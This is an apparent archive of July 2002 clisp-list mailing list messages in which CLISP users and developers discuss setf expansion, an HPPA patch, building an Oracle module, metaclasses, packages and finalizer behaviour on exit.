 (SYSTEM::%RPLACA (CDDR (CDDDDR #:G1275)) #:G1276)) ;
T

What?  Why not simply:

    (SYSTEM::STORE X Y Z)
    (SYSTEM::PUTHASH X Y Z)
    (SYSTEM::RPLACA (CDDR (CDDDDR X)) Y)

There are no variable capture issues, nor multiple evaluations
of the parameters.

Are not the parameters to SYSTEM::STORE and others evaluated
left to right? Even if that was the reason, there is no reason to use let*
to bind the gensyms, because let* merely ensures an order of establishment
of the *bindings*. With plain let, evaluation is still left to right,
but the bindings to the symbols are established in parallel.  Since the
initializing expressions cannot refer to the gensyms, let* is
unnecessary.

Am I missing something, or should I make a patch? ;)
Or would it be faster to make a patch anyway and later be told I'm
missing something? ;)



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Kaz Kylheku writes:

 > [16]> (macroexpand '(setf (aref x y) z))
 > (LET* ((#:G1267 X) (#:G1268 Y) (#:G1269 Z))
 >  (SYSTEM::STORE #:G1267 #:G1268 #:G1269)) ;
 > T
[...]
 > What?  Why not simply:
 > 
 >     (SYSTEM::STORE X Y Z)

Why do you care?  Hint, have you tried compiling the code?  You get
the same bytecodes for FOO and BAR:

  (defun foo (a i v) (system::store a i v))
  (defun bar (a i v) (setf (aref a i) v))

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The attached patches should allow clisp to build a bit better on HPPA. The 
author of the patch (LaMont Jones, HP Linux developer) says the patch should 
not affect the HPUX build so is "suitable for upstream". I do not have an 
HPUX machine to test with, but LaMont knows what he is talking about with HP 
systems. The second patch is a compiler bug workaround, which I may have 
forwarded before.


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> * In message <E17P16n-00010A-00.2002-07-01-14-20-50@mail11.svr.pol.co.uk>
> * On the subject of "[clisp-list] Linux/HPPA fix"
> * Sent on Mon, 1 Jul 2002 14:21:25 +0100
> * Honorable Will Newton <will@misconception.org.uk> writes:
>
> The attached patches should allow clisp to build a bit better on HPPA.
> The author of the patch (LaMont Jones, HP Linux developer) says the

what's his e-mail?

> patch should not affect the HPUX build so is "suitable for upstream".
> I do not have an HPUX machine to test with, but LaMont knows what he
> is talking about with HP systems. The second patch is a compiler bug
> workaround, which I may have forwarded before.

I don't think I have seen this.

> --- ffcall-1.8.orig/callback/trampoline_r/trampoline.c
> +++ ffcall-1.8/callback/trampoline_r/trampoline.c
> @@ -793,12 +793,14 @@
>     *    .long   <data>
>     *    .long   <address>
>     */
> -  *(long *) (function + 0) = ((long *) ((char*)&tramp_r-2))[0];
> -  *(long *) (function + 4) = (long) (function + 8);
> -  *(long *) (function + 8) = (long) data;
> -  *(long *) (function +12) = (long) address;
> +  { void *foo=&tramp_r;
> +    *(long *) (function + 0) = ((long *) ((char*)foo-2))[0];
> +    *(long *) (function + 4) = (long) (function + 8);
> +    *(long *) (function + 8) = (long) data;
> +    *(long *) (function +12) = (long) address;
> +  }
>  #define is_tramp(function)  \
> -  ((long *) function)[0] == ((long *) ((char*)&tramp_r-2))[0]
> +  { void *foo=&tramp_r; *((long *) function) == *((long *) ((char*)foo-2)); }
>  #define tramp_address(function)  \
>    ((long *) function)[3]
>  #define tramp_data(function)  \

shouldn't replacing ((char*)&tramp_r-2) with (((char*)(&tramp_r))-2)
work too?

> --- ffcall-1.8.orig/avcall/avcall-hppa.s
> +++ ffcall-1.8/avcall/avcall-hppa.s

Do I understand correctly that both of these patches are his?

thanks a lot!

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I'm trying to build an add-on module (for an Oracle interface) and
having some trouble getting it to build.

The notes in the generated Makefile say to make a subdir of the src/
directory w/ the same name as the module, and I've done all that, and
also created the necessary .lisp interface, etc.  All my "C" files and
.lisp interface file compile fine in isolation.

What I really like to do is be able to just build a single "full"
distribution w/ all the other modules (regex, wildcards, OS calls) as
well as my Oracle module.

The docs (again notes in the Makefile - out of date?) say to create a
Makefile (either by hand or generated by autoconf) specific to my
module.  That's good, as I have compilation things specific to Oracle
such as where to get its headers and link libs.  However when I run
the "makemake" with --with-module=oracle it generates a build that
appears to ignore my Makefile and use a general set of compilation
flags.

I've also noticed when working w/ a toy-addon that the Makefile
generated by "clisp-link create-module-set" also seems to get ignored.

I'd like to avoid a solution that requires me to distribute Oracle's
header files as I will then have compatibility and license issues.
What I really want is to be able to say (somewhere, anywhere) where to
get those headers and libs, but it is not obvious to me where.

Any ideas?  One way I can force it work is to edit the generated
Makefile by hand, but I would like to avoid that.  My ultimate goal is
to be able to distribute to interested parties a directory that they
can graft right onto their CLISP distribution for a build that would
include the Oracle package.

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> * In message <200207021522.g62FMobR028428@van-halen.alma.com>
> * On the subject of "[clisp-list] Building add-on module"
> * Sent on Tue, 2 Jul 2002 11:22:50 -0400
> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
>
> I'm trying to build an add-on module (for an Oracle interface) and
> having some trouble getting it to build.
> 
> The notes in the generated Makefile say to make a subdir of the src/
> directory w/ the same name as the module, and I've done all that, and
> also created the necessary .lisp interface, etc.  All my "C" files and
> .lisp interface file compile fine in isolation.

I recommend using a separate build directory - do not build in src/!

> What I really like to do is be able to just build a single "full"
> distribution w/ all the other modules (regex, wildcards, OS calls) as
> well as my Oracle module.

$ mkdir modules/oracle
$ mv .... modules/oracle
$ ./configure --with-module=oracle --build build-dir

if you want to rebuild,
$ cd build-dir
$ rm -rf full
$ make

> The docs (again notes in the Makefile - out of date?) say to create a
> Makefile (either by hand or generated by autoconf) specific to my
> module.

it also recommends 'rm rf full'.

> What I really want is to be able to say (somewhere, anywhere) where to
> get those headers and libs, but it is not obvious to me where.

your best bet is to use autoconf for this.

> Any ideas?  One way I can force it work is to edit the generated
> Makefile by hand, but I would like to avoid that.  My ultimate goal is
> to be able to distribute to interested parties a directory that they
> can graft right onto their CLISP distribution for a build that would
> include the Oracle package.

note that CLISP is under GPL which means that _IF_ you distribute your
code, it _MUST_ be distributed under the GPL.
would you like us to distribute your module with CLISP?

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   >> I'm trying to build an add-on module (for an Oracle interface) and
   >> having some trouble getting it to build.

 > I recommend using a separate build directory - do not build in src/!
 > $ mkdir modules/oracle
 > ...

OK thanks for the tips.  I'll give it a whirl.  It's been pointed out
I could do something like auto-detection of the Oracle environment
that is used in the equivalent module they have in the perl ("DBD").

 > note that CLISP is under GPL which means that _IF_ you distribute
 > your code, it _MUST_ be distributed under the GPL.
 > 
 > would you like us to distribute your module with CLISP?

No problem on all counts.

But let me get it built first, and running on a few Unixen :)

I have a few potential volunteers to eventually test it on: Linux,
Solaris and SGI Irix.

thanks; keep you posted.

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On Wed, 3 Jul 2002, John K. Hinsdale wrote:

> [Is clisp-devel the right place for this ? ]

i think clisp-devel is for the clisp project itself.

> FYI when I tried to use the project "Le Sursis" mentioned as the first
> entry under CLISP "Related Projects" at http://clisp.sourceforge.net/
> doesn't work "out of the box" (gets CLISP errors).
> 
> I mention it since this project cites CLISP as its preferred
> environment and the one that should definitely work.  This project
> looks to have been abandoned a couple years ago, but I am trying to
> contact its maintainer.

The email address on the project was no longer valid when i tried.  Have
you had any luck finding him?

The only things that needed to be changed were the package 
declaration, in-package needed to be moved after the defpackage, and 
references to lisp:int-char changed to ext:int-char.  I have a working 
copy of these changes if you would like.
 
> No big deal, except that it's the very first project listed and
> newcomers to CLISP might downloaded and get unjustly discouraged when
> it doesn't work properly.
> 
> If I can't get to the maintainer to fix it, maybe I can fix it myself
> and take it over.  It's actuallyvery tiny and was a student exercise.
> In any case the link may be doing more harm than good in terms of
> demonstrating and promoting CLISP use for CGIs so might wish to take
> that link off, or move it further down the list below more active and
> compelling project examples.

If you cannot find him, take over!  I don't have the time to be in
control, but if someone was actively maintaining it, I would enjoy
contributing to it.  

- j
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> > Is it possible to read a charactor without waiting for enter to be
> > pressed in clisp?  
> 
> yes it is.
> 
> > If so how?
> 
> in my previous message I gave you two URLs.
> did you read them?

No.  I thought they were part of your tagline.  My bad.  I"ve read them now and everythings working great.  I've even gotten sound and color working.  Kinda cheezy ways, but the work:

;sound
(execute "/usr/bin/rplay" "/disks/md0/usr/share/sounds/everybuddy/BuddyArrive.au")

;color (this only works on the linux console)
(defconstant BLACK #\0)
(defconstant RED #\1)
(defconstant GREEN #\2)
(defconstant BROWN #\3)
(defconstant BLUE #\4)
(defconstant PURPLE #\5)
(defconstant TURQUOISE #\6)
(defconstant GREY #\7)
(defconstant WHITE #\8)

(defun set-color (color)
  (princ #\escape)
  (princ #\[)
  (princ #\3)
  (princ color)
  (princ #\m))

(defun set-background-color (color)
  (princ #\escape)
  (princ #\[)
  (princ #\4)
  (princ color)
  (princ #\m))


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There is a new improved gdi module on my web site
www.diac.com/~dxs/gdi.tar.bz2.
Also I have garnet loading with a few continuable errors on ms windows.
That file is also at www.diac.com/~dxs/src-2002-7-4.tar.bz2
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 > The email address on the project was no longer valid when i tried.
 > Have you had any luck finding him?

following up ... I got a hold of T. Burdick who maintains the
"le-sursis" CGI library for Lisp, and asked him to grant me
permissions on SourceForge to update patches and keep that project
alive and operational.  Others have mentioned they have enhancements
which I'll merge in once I have access.

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   >> * Sent on Tue, 2 Jul 2002 11:22:50 -0400
   >> * Honorable "John K. Hinsdale" <hin@alma.com> writes:
   >> 
   >> I'm trying to build an add-on module (for an Oracle interface) and
   >> having some trouble getting it to build.

 > Date: 02 Jul 2002 12:25:39 -0400
 > From: Sam Steingold <sds@gnu.org>
 > I recommend using a separate build directory - do not build in src/!
 > $ mkdir modules/oracle
 > $ mv .... modules/oracle
 > $ ./configure --with-module=oracle --build build-dir

   >> What I really want is to be able to say (somewhere, anywhere) where to
   >> get those headers and libs, but it is not obvious to me where.

 > your best bet is to use autoconf for this.

OK, I've set all this up properly, incl. the module dir suitable for
eventual distribution and an autoconf-generated Makefile that has
everything needed to compile my stuff, yet the CLISP build is _still_
ignoring my Makefile and I have no idea why.

I did everything Sam suggested, e.g., w/ autoconf and a separate build
dire ("mysrc") and in fact the build _is_ running my "configure" when
it sees it.  I see my "configure" generates the desired Makefile; but
then when it comes time to compile my "C" sources my Makefile is not
used -- instead the build uses a gcc command appearing in the parent
directory's Makefile.

Any ideas?  Perhaps my problem may be due to how I've set up the
"link.sh" which I am not quite clear on its role.  The docs say it is
to set some make/environment variables, however I notice that the
link.sh in all the other modules contain a "make clisp-module" and I
assumed I had to do that as well.  But shouldn't it use my module's
Makefile?  Otherwise what is the point of creating it?

Any help would be greatly appreciated.  I've got all this code and no
Lisp to run it(!).

You can peek at my build area at: http://hinsdale.net/clisp-2.28/
The Oracle module is in http://hinsdale.net/clisp-2.28/modules/oracle/
and the build command I'm using is: http://hinsdale.net/clisp-2.28/doconf
with output: http://hinsdale.net/clisp-2.28/doconf.log

My next step is to wade into the source for the build environment in
detail, but before I do that I was hoping someone would eyeball it for
some obvious problem.

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Date: Fri Jul  5 13:25:14 2002
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Christian Schuhegger schrieb:

> hello,

> i just ran into a problem:
> *** Program stack overflow. RESET

> i found the following mail (see below) on the clisp-list. i am working
> on windows and i would like to increase the stack size of the lisp.exe
> executable. now i wonder how to do this?
> 
> can anybody give me a hint?

Hallo Christian

Now I found an entry in the system.ini which can solve your problem.
(look in the startup-logs whether system.ini gets read)

- In SYSTEM.INI in section [386Enh] add this line:

MinSPs=4

Windows reserved some stack-sides for 32-driver and applications. One
stack-side has 4k size and with the number 4 you set 4 stack-sides, so
the application can order on demand more stack-sides. 
I donot test this, so use it on your own risk. This is what I found
windows can do, not the lisp.exe

There is another panel where you can change the dos-box-properties: 

- Click on the properties in the menue bar, this should open and show
the following "cards": Program - Font - Memory - Screen - Misc. 
Now choose Memory and edit as you wish or need. 

- You can always go to the Screen-card and change the in the Usage-field
(on the top) the "Initial size" (there is an arrow-click-box on the
right side) to 50 lines. This makes on my PC a scroll-bar (50 lines) to
the dos-box and 50 lines :) (very usefull, but when you find a way to
edit this so that I can see all lines, this will make me happy. I guess
I have to search the regedit.exe)

- On the misc-card you can choose Quick Edit in the mouse field. This
allows to copy contents out of the dos-box window. Also you can edit
some hot-keys there.

stefan


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 > OK, I've set all this up properly, incl. the module dir suitable for
 > eventual distribution and an autoconf-generated Makefile that has
 > everything needed to compile my stuff, yet the CLISP build is _still_
 > ignoring my Makefile and I have no idea why.

Pls. disregard my previous post about the "make" problems; I've
figured it out.

[turns out my Makefile was not really being ignored, but a def.
inside it _was_ (I was trying to glom on the Oracle header dirs. using
$INCLUDES and that was apparently getting clobbered elsewhere in the
build environment).

So I've at last got a functional CLISP and can now read and write to
Oracle databases.  (perhaps the first to do that from CLISP?)

I'm going to hone the module it a bit more, create some documentation
and then put it out for beta on other platforms.

Thanks to all who have helped me thus far.  I make nearly my entire
living mucking with Oracle databases and it will be interesting to try
doing it it from Lisp instead of perl.

---
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Hello Dan,

Friday, July 05, 2002, 1:22:41 PM, you wrote:

Dan> There is a new improved gdi module on my web site
Dan> www.diac.com/~dxs/gdi.tar.bz2.
Dan> Also I have garnet loading with a few continuable errors on ms windows.
Dan> That file is also at www.diac.com/~dxs/src-2002-7-4.tar.bz2
It's great - a Lisp brain finds a face for communicating !
Unfortunately I have too much reading rigth now, but I hope to
finish with it some day and investigate your module !

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Hi,

I start to move my code (www.ircam.fr/openmusic) to clisp, but I have a
little problem :

I try to define a new class  by

 (defclass omclass (standard-class) ())

but i get the error

*** - DEFCLASS OMCLASS : La classe sup?eure #<STRUCTURE-CLASS
STANDARD-CLASS> n'appartient pas ?a classe STANDARD-CLASS.


Can somebody help me ?

I use clisp-2.28 on MacOs X

thanks,

Carlos Agon





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I'm not a lisp expert, but I thought with ANSI LISP it would be;
(defclass () ()) with an assumed standard class.

J*
-----------------------
> Hi,
> 
> I start to move my code (www.ircam.fr/openmusic) to clisp, but I have a
> little problem :
> 
> I try to define a new class  by
> 
>  (defclass omclass (standard-class) ())
> 
> but i get the error
> 
> *** - DEFCLASS OMCLASS : La classe sup?eure #<STRUCTURE-CLASS
> STANDARD-CLASS> n'appartient pas ?a classe STANDARD-CLASS.
> 
> 
> Can somebody help me ?
> 
> I use clisp-2.28 on MacOs X
> 
> thanks,
> 
> Carlos Agon
> 
> 
> 
> 
> 
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Thanks for your answer John, but I want to define a meta-class

(defclass omclass (standard-class) ())

and then use it as meta-class of new classes, i.e.

(defclass new-class ()  ()
  (:metaclass omClass))

thanks again,

Carlos Agon

John Jorgensen a *crit :

> I'm not a lisp expert, but I thought with ANSI LISP it would be;
> (defclass () ()) with an assumed standard class.
>
> J*
> -----------------------
> > Hi,
> >
> > I start to move my code (www.ircam.fr/openmusic) to clisp, but I have a
> > little problem :
> >
> > I try to define a new class  by
> >
> >  (defclass omclass (standard-class) ())
> >
> > but i get the error
> >
> > *** - DEFCLASS OMCLASS : La classe sup?eure #<STRUCTURE-CLASS
> > STANDARD-CLASS> n'appartient pas ?a classe STANDARD-CLASS.
> >
> >
> > Can somebody help me ?
> >
> > I use clisp-2.28 on MacOs X
> >
> > thanks,
> >
> > Carlos Agon
> >
> >
> >
> >
> >
> > -------------------------------------------------------
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Hi,

Clisp doesn't have a MOP. In theory at least, you should be able to replace 
its CLOS implementation with PCL (Portable Common Loops), which is fairly 
close to the MOP described in Kiczales' book. There is, in fact, a source 
distribution of PCL that includes the low-level routines to apply PCL to 
CLisp. However, it is out of date with Clisp. I have spent some time trying 
to get it to work again, but have not completed this work. 


On Monday 08 July 2002 09:24, Augusto wrote:
> Hi,
>
> I start to move my code (www.ircam.fr/openmusic) to clisp, but I have a
> little problem :
>
> I try to define a new class  by
>
>  (defclass omclass (standard-class) ())
>
> but i get the error
>
> *** - DEFCLASS OMCLASS : La classe sup?eure #<STRUCTURE-CLASS
> STANDARD-CLASS> n'appartient pas ?a classe STANDARD-CLASS.
>
>
> Can somebody help me ?
>
> I use clisp-2.28 on MacOs X
>
> thanks,
>
> Carlos Agon
>
>
>
>
>
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> * In message <3D29A109.C79F3CB5@ircam.fr>
> * On the subject of "Re: [clisp-list] MOP"
> * Sent on Mon, 08 Jul 2002 16:26:17 +0200
> * Honorable Augusto <Carlos.Agon@ircam.fr> writes:
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> Thanks for your answer John, but I want to define a meta-class
> 
> (defclass omclass (standard-class) ())
> 
> and then use it as meta-class of new classes, i.e.
> 
> (defclass new-class ()  ()
>   (:metaclass omClass))

[8]> (defclass omclass (standard-class) () (:metaclass structure-class))
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Can someone clarify for me:

When I want to include a package, I borrowed this from init.lisp

(use-package '("COMMON-LISP" "CUSTOM") "EXT")

(in-package "EXT")

How does clisp know where to find "EXT", and "COMMON-LISP" or "CUSTOM" =
for that matter?

Does it look in the *load-path* and look for files of that name, or are =
all these packages contained in the files loaded at the top of =
init.lisp?  I have not been able to find any files with these names and =
am a little confused.  I guess I am stuck in emacs mode which is leading =
to the confusion.  If this is not so, what should I be setting my =
*load-path* variable to, as at the moment it is not set to where the =
binaries are kept.

Am I right in thinking that the declaration (in-package "EXT") means =
that from here on in the code is to assume being in the package "EXT", =
so if the (use-package etc) statement above was not there then any calls =
to functions in "COMMON-LISP" would have a common-lisp:: prefix?

I apologise if this is a monumentally stupid question, but after making =
my way through two lisp books, this is still a point of confusion for =
me, and I think it is because it is implementation dependent, which is =
why I am asking on clisp.:)

The reason why I am asking this, is because I have built an image but am =
having problems with defining new variables, it seems I am stuck in the =
"EXT" package, and there were some very helpful mails to someone else =
earlier on the topic, with a solution but I would like to correct the =
package problem at the source, so I am trying to follow what is =
happening in lisp.init and see if I can put the line in at the end so =
clisp starts in the COMMON-LISP-USER package.

Thanks in advance, and sorry this was so long.
Rohan


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Rohan Nicholls

>Can someone clarify for me:
>When I want to include a package, I borrowed this from init.lisp
>(use-package '("COMMON-LISP" "CUSTOM") "EXT")

You're confusing loading smoething and using packages. I guess "Include =
a package" in unclear to you.

First, you need to make the foreign package available, e.g. by using a =
LOAD on the file containing the foreign package definition and =
functionality.

If you want to define your own package, DEFPACKAGE is the preferred =
form these days, over separate MAKE-PACKAGE, USE-PACKAGE, EXPORT, =
IMPORT etc.

>How does clisp know where to find "EXT", and "COMMON-LISP" or=20
>"CUSTOM" for that matter?
Because it doesn't load them. USE-PACKAGE assumes it is already loaded.
Try out (LIST-ALL-PACKAGES). You can only use one of these.

Maybe REQUIRE (and PROVICE) is what you're after (automatically loading =
files instead of using packages)?


>Am I right in thinking that the declaration (in-package "EXT")=20
>means that from here on in the code is to assume being in the=20
Yes, if this form appears at top-level.
>package "EXT", so if the (use-package etc) statement above was=20
>not there then any calls to functions in "COMMON-LISP" would=20
>have a common-lisp:: prefix?

It depends on what package EXT uses itself.
Most packages use package COMMON-LISP.
The usual prefix should be a single colon, e.g. COMMON-LISP:LIST
:: means access to the internals - beware - private!

>I apologise if this is a monumentally stupid question=20
Not so. I hope my answers bring you forward.


>seems I am stuck in the "EXT" package, and there were some=20
>very helpful mails to someone else earlier on the topic, with=20
>[...]
>lisp.init and see if I can put the line in at the end so clisp=20
>starts in the COMMON-LISP-USER package.
I didn't follow that thread.
The idea should be that one of the last forms in INIT.LISP (before =
SAVE[INIT]MEM) sets the package that will be current when CLISP =
restarts from the saved image.

Regards,
	J=F6rg H=F6hle.


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Hi,

Kaz Kylheku wrote:
>But really, releasing resources such as open files, sockets or database
>connections at garbage collection time is probably too late! 
>Such things should be explicitly released.

>One model to look at are the WITH-* standard macros in Common Lisp.
>For example WITH-OPEN-FILE associates a new stream with a file,
>evaluates some forms and then esures that the stream is closed.
>These macros are typically based on UNWIND-PROTECT.

The following is part of a possible future article on how to write C code with CLISP (a different article from the one about how to extend CLISP with modules).

FINALIZE is in CLISP (package EXT, see impnotes.html).

FINALIZE in CLISP does not guarantee finalization. Although it is invoked by the garbage collector, it is not used when CLISP exists. This is different from the specification of the Haskell FFI. But this is not the topic of this article.

This article is about the VALID bit that CLISP provides with foreign pointers. This bit can be used to ensure that objects are deallocated/closed at most once. It does not solve the close-on-exit problem.

The CLISP FFI encapsulates objects of type FOREIGN-POINTER (and therefore FOREIGN-ADDRESS, FOREIGN-VARIABLE and FOREIGN-FUNCTION) into a box that has additional bits. One of these is the valid bit and can be accessed from C with fp_valid() and mark_fpr_[in]valid(). This bit can be queried from Lisp using EXT:VALIDP.

I recommend to protect a foreign resource twice using this bit.
 o Once by using WITH-* based unwind-protect macros
 o Once by using this valid bit, as explained here.
This may look like duplicate work. It may make you feel better.

Using this bit has the additional advantage that CLISP will generate an error when trying to access the FOREIGN-* pointer after it has become invalid (like Lisp-level streams).

When using CLISP's FFI FFI:C-POINTER :return-type specification, CLISP creates and returns an object of type FOREIGN-ADDRESS. Your low-level deallocate/close/release() C routine could look like variations on the following:

{ var object faddress = popSTACK(); # FOREIGN-ADDRESS
  TODO_check_type(faddress);
  var object fpointer = TheFaddress(faddress)->fa_base;
  if (fp_validp(TheFpointer(lib))) {
    release/deallocate(Faddress_value(faddress));
    mark_fp_invalid(TheFpointer(fpointer));
    # also? TheFpointer(fpointer)->fp_pointer = NULL;
} }

The finalization code could look as follows:
(finalize x #'(lambda (x) (when (ffi:validp x) (my-package:release x))))
or
(defun close-my-resource (x)
  (check-type x FOREIGN-ADDRESS)
  (when (ffi:validp x) ; like cl:close: don't complain if already released
    (my-package::release x)))
(finalize x #'close-my-resource)

You choose where to put the tests: at the C or Lisp level.

As a counter-example, the current regexp module doesn't use this approach. It doesn't export the release functionality. It always releases via finalization, without checking, so the programmer cannot use regexp-free() him/herself before GC or the system will crash later (attempt to free memory twice). This is a design choice.

User beware: fp_valid() etc. are to be called on the FOREIGN-POINTER object, which is a slot within the FOREIGN-ADDRESS one (pointer indirection, not substructure).

My extensions to the CLISP FFI (not sure it eevn in CVS yet) provide better access to the VALID bit from Lisp: (FFI:MARK-INVALID-FOREIGN foreign-address) and hide the FOREIGN-POINTER vs FOREIGN-ADDRESS dichotomy.
However I didn't provide MARK-FOREIGN-VALID-AGAIN because I feel this is too dangerous (this is left to C code if your 0.01% presumed usage pattern needs that).
If you're writing C code (e.g. niterface stubs for gdi/opengl/xyz), you don't need my extensions. Your code can work with a clisp from 1995.

Examples of usage: CLISP src/rexx.d, foreign.d, my previously posted dynload module and ffi hacks.

If you're interested in the close-on-exit problem, here's what I wrote in my article on extending CLISP via modules:
:Q: Why are there two module initialization, but no exit functions?
:Module exit was deemed superfluous. The OS shall free resources on program exit.
:Adding the functionality would be straightforward. Given the current lack of module :developers, I believe nobody would be bothered by the change of module structure.
:o State you need it.
:o Provide patch (foreign.lisp, spvw_*.d, TODO queens?).
[If you need a copy of that article, mail me]

Regards,
	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE705E9E76F@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] howto: Finalization in CLISP (was: Ensuring call of cleanup ("des tructor") routine for "C" object)"
> * Sent on Tue, 9 Jul 2002 15:56:24 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> FINALIZE in CLISP does not guarantee finalization. Although it is
> invoked by the garbage collector, it is not used when CLISP exists.

this is easy to fix - just run all finalizers on exit.  should it be?
what are the issues?  (obviously, the possible errors while running
the finalizers have to be ignored -- what else?)


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>my init.lisp ends in this:

>(LOAD "config")    ; configuration parameters to be adjusted by the =
user

>(setq sys::*home-package* nil ext:*command-index* 0)

>(in-package "CL-USER")        ; make the default package the current =
one

>does yours?

Yes it does which is what was so odd.

>what does clisp -norc -x '*package*' say?

I have since recompiled the sources on cygwin and everything works =
although this time I didn't mess with the config.lisp file it gave me =
errors again.  On cygwin I get:

#<PACKAGE COMMON-LISP-USER>
Bye.

while on the windows version I get:

*PACKAGE*
*** - READ: input stream #<INPUT STRING-INPUT-STREAM> ends within an =
object
Bye.

I have reset the emacs to give me a choice of which version I use.  I =
have moved as much as I can to run on cygwin, so I will be using the =
cygwin version which seems to have more functionality, but this may be =
an illusion.  I will post a question about that on the list.

As to On Lisp, I have it on my harddrive, and I think I am ready to =
tackle it after a brief visit to the last part of ANSI Common Lisp.

Thanks for your help, it really cleared a lot up for me.

Rohan

-----Original Message-----
From: Marco Baringer [mailto:empb@bese.it]
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Subject: Re: [clisp-list] *load-path*


"Rohan Nicholls" <Rohan.Nicholls@informaat.nl> writes:

> Thanks for your help.  I have been using the windows clisp setup,
> and it seems that the config.lisp starts by putting you in the "EXT"
> package, and not taking you out.  For some reason this causes

this is normal. usually files which define code associated to a
certain package make sure that before they start they're in the right
package. since everybody does this no one worrys about "resetting" the
package when they're done.

> problems even though at the end of init.lisp it puts you back in the
> "CL-USER" package(which makes me think that line is not getting
> evaluated), so I have just set it back in the config.lisp and that

my init.lisp ends in this:

(LOAD "config")    ; configuration parameters to be adjusted by the user

(setq sys::*home-package* nil ext:*command-index* 0)

(in-package "CL-USER")        ; make the default package the current one

does yours?

> seems to work.  But in figuring that out I started looking into
> init.lisp and having to understand how the packaging system works as
> it is very important to the way init.lisp is written.

init.lisp is "different." it is part of a compiler and so doesn't use
"best practices", it does what is needed in order to compile
CLISP. you should look at other packages (try clocc or cclan) to see
how package are normally used.

what does clisp -norc -x '*package*' say?

on my system:
/Users/marco $ ../bin/clisp -norc -x '*package*'
#<PACKAGE COMMON-LISP-USER>


as far as books go after you've been through cltl and ANSI Common Lisp
i would *strongly* suggest having a look at "On Lisp", also by Paul
Graham. he recently made the entire text available from his site
paulgraham.com.

--=20
-Marco
Ring the bells that still can ring.
Forget the perfect offering.
There's a crack in everything.
It's how the light gets in.
     -Isonard Cohen



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Thanks for all the help I got with the *load-path* problem, and now =
another question about the difference between the versions of clisp.

The short question is:  Are there large differences between the windows =
and cygwin versions of clisp?  I notice that there are different =
packages listed with (list-all-packages).

I also noticed in the src directory that there are such files as =
threads.lisp, is this something that is under development and so use at =
own risk or is part of the official release, as it is not automatically =
loaded in init.lisp?

Thanks again,

Rohan


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Hi,

>> FINALIZE in CLISP does not guarantee finalization. Although it is
>> invoked by the garbage collector, it is not used when CLISP exists.

This was a design choice when finalizers where introduced. I feel it's acceptable for UNIX, less so for other OS.

>this is easy to fix - just run all finalizers on exit.  should it be?
>what are the issues?  (obviously, the possible errors while running
>the finalizers have to be ignored -- what else?)

o Debate whether it is acceptable that programmer definable Lisp code is still run after EXT:EXIT has been called.

o Finalizers which do nothing more than free() or close[socket]() are superfluous and waste precious time when an application has been ordered to exit. I.e. all finalizers for resources which the OS closes itself upon program exit.

However, some resources are not freed when an application exits. E.g. shared memory, which is used a lot in AmigaOS, and I've been told that MS-Windows also has different types of memory (and B and C pointers?).

o To obtain finalizers, GC must be run. To obtain all of them, a full GC across all generations must be run. I doubt this is accepted by users after they said EXT:exit, *especially* if only free() is to be called (what the OS does by itself).

o Ordering of finalizers may be an issue. One would wish for e.g. sockets to be released before the winsock library is released as well.
To a first approximation, it looks like finalizers and GC must be run iteratively, until a stable point is reached, so the reference to winsock hold by the reference to a socket will be cut by the first GC+finalization sweep which closes the socket and be ready to be released in the second iteration.
This sounds quite more work than benefit, doesn't it?


o You mention errors whithin finalizer scope. This is a topic which must be documented independently of program exit behaviour.
CLISP must document that finalizers are removed from the lisp before their code is invoked. Thus, if an error occurs, the finalizer will not be called a second time. Or if it's just the opposite behaviour, document that (I didn't look).

Note that it may not be acceptable for programmers and users that finalizers, which are invoked quasi asynchronously to program execution (from a high level POV), may cause CLISP to signal error at any time within their code.
This issue may have to be changed as well.
o put ignore-errors around each call to a finalizer, or
o put a single ignore-errors around the complete finalization (thus if an error occurs, remaining finalizers are not called, but they ought to be after the next GC).

Regards,
	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE705E9E7F5@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] howto: Finalization in CLISP"
> * Sent on Wed, 10 Jul 2002 13:00:11 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> >> FINALIZE in CLISP does not guarantee finalization. Although it is
> >> invoked by the garbage collector, it is not used when CLISP exists.
>
> This was a design choice when finalizers where introduced. I feel it's
> acceptable for UNIX, less so for other OS.
>
> >this is easy to fix - just run all finalizers on exit.  should it be?
> >what are the issues?  (obviously, the possible errors while running
> >the finalizers have to be ignored -- what else?)
>
> o Debate whether it is acceptable that programmer definable Lisp code
> is still run after EXT:EXIT has been called.

finalizers are "die hooks", so this is okay.

> o Finalizers which do nothing more than free() or close[socket]() are
> superfluous and waste precious time when an application has been
> ordered to exit. I.e. all finalizers for resources which the OS closes
> itself upon program exit.

sockets and files are already closed on exit.

> However, some resources are not freed when an application
> exits. E.g. shared memory, which is used a lot in AmigaOS, and I've
> been told that MS-Windows also has different types of memory (and B
> and C pointers?).

this should not be done using finalizers - after all they are hooks
into GC.

> o To obtain finalizers, GC must be run. To obtain all of them, a full
> GC across all generations must be run. I doubt this is accepted by
> users after they said EXT:exit, *especially* if only free() is to be
> called (what the OS does by itself).

nope.  just go over O(all_finalizers).

> o Ordering of finalizers may be an issue. One would wish for
> e.g. sockets to be released before the winsock library is released as
> well.

neither has anything to do with finalizers.
both are already being done.

> To a first approximation, it looks like finalizers and GC must be run
> iteratively, until a stable point is reached, so the reference to
> winsock hold by the reference to a socket will be cut by the first
> GC+finalization sweep which closes the socket and be ready to be
> released in the second iteration.
> This sounds quite more work than benefit, doesn't it?

irrelevant, see above.

> o You mention errors whithin finalizer scope. This is a topic which
> must be documented independently of program exit behaviour.
> CLISP must document that finalizers are removed from the lisp before
> their code is invoked. Thus, if an error occurs, the finalizer will
> not be called a second time. Or if it's just the opposite behaviour,
> document that (I didn't look).

errors are handled normally - via the error reploop

> Note that it may not be acceptable for programmers and users that
> finalizers, which are invoked quasi asynchronously to program
> execution (from a high level POV), may cause CLISP to signal error at
> any time within their code.

lisp gives you ample opportunity to shoot yourself in the foot.

> This issue may have to be changed as well.
> o put ignore-errors around each call to a finalizer, or
> o put a single ignore-errors around the complete finalization (thus if
> an error occurs, remaining finalizers are not called, but they ought
> to be after the next GC).

I guess the *DRIVER* will have to be bound to NIL (or something) around
the finalization in quit().

BTW, why wasn't module-finalization not implemented?

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Hi all,

Marc Battyani suggested I ask the clisp mailing list to see if anyone
